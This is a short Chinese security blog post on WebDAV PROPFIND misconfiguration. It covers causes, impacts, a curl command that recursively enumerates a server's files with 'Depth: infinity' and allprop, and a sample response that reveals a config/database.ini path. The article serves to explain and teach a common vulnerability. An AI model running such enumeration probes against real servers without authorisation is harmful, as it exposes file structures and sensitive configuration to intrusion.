SRC 小漏洞

Khan安全团队

发布于 2025-04-04 07:41:16

13200

代码可运行

文章被收录于专栏：Khan安全团队Khan安全团队

运行总次数：0

代码可运行

PROPFIND 漏洞是与 WebDAV（Web Distributed Authoring and Versioning）协议相关的一种安全漏洞，主要涉及 HTTP 方法 PROPFIND 的不当实现或配置。

PROPFIND 漏洞的原理

漏洞通常由以下原因引发：

不安全的配置服务器未正确限制 PROPFIND 方法的访问权限。
目录遍历漏洞攻击者可能通过 PROPFIND 请求访问本应受限的目录或文件（例如通过 Depth: infinity 参数递归遍历目录）。
信息泄露服务器可能通过 PROPFIND 响应返回敏感信息（如内部文件路径、系统配置等）。
拒绝服务（DoS）攻击者可能发送大量复杂的 PROPFIND 请求，导致服务器资源耗尽。

漏洞的影响

敏感信息泄露攻击者可获取服务器上的文件列表、目录结构或其他元数据。
权限绕过通过遍历目录访问受限文件（如配置文件、日志文件）。
服务器入侵结合其他漏洞（如文件上传漏洞），可能导致远程代码执行（RCE）。
服务中断通过 DoS 攻击使服务器无法响应正常请求。

示例

curl -X PROPFIND http://example.com/webdav/ -H "Depth: infinity" -H "Content-Type: text/xml" --data '<D:propfind xmlns:D="DAV:"><D:allprop/></D:propfind>'

Depth: infinity表示递归遍历所有子目录。
<D:allprop/>请求返回所有文件属性。

如果服务器配置不当，可能返回类似以下信息：

<D:multistatus xmlns:D="DAV:">
  <D:response>
    <D:href>/webdav/</D:href>
    <D:propstat>
      <D:prop>
        <D:displayname>webdav</D:displayname>
        <D:getlastmodified>Fri, 01 Jan 2023 00:00:00 GMT</D:getlastmodified>
      </D:prop>
      <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
  </D:response>
  <D:response>
    <D:href>/webdav/config/</D:href>
    <D:propstat>
      <D:prop>
        <D:displayname>config</D:displayname>
      </D:prop>
      <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
  </D:response>
  <D:response>
    <D:href>/webdav/config/database.ini</D:href>
    <D:propstat>
      <D:prop>
        <D:displayname>database.ini</D:displayname>
      </D:prop>
      <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
  </D:response>
</D:multistatus>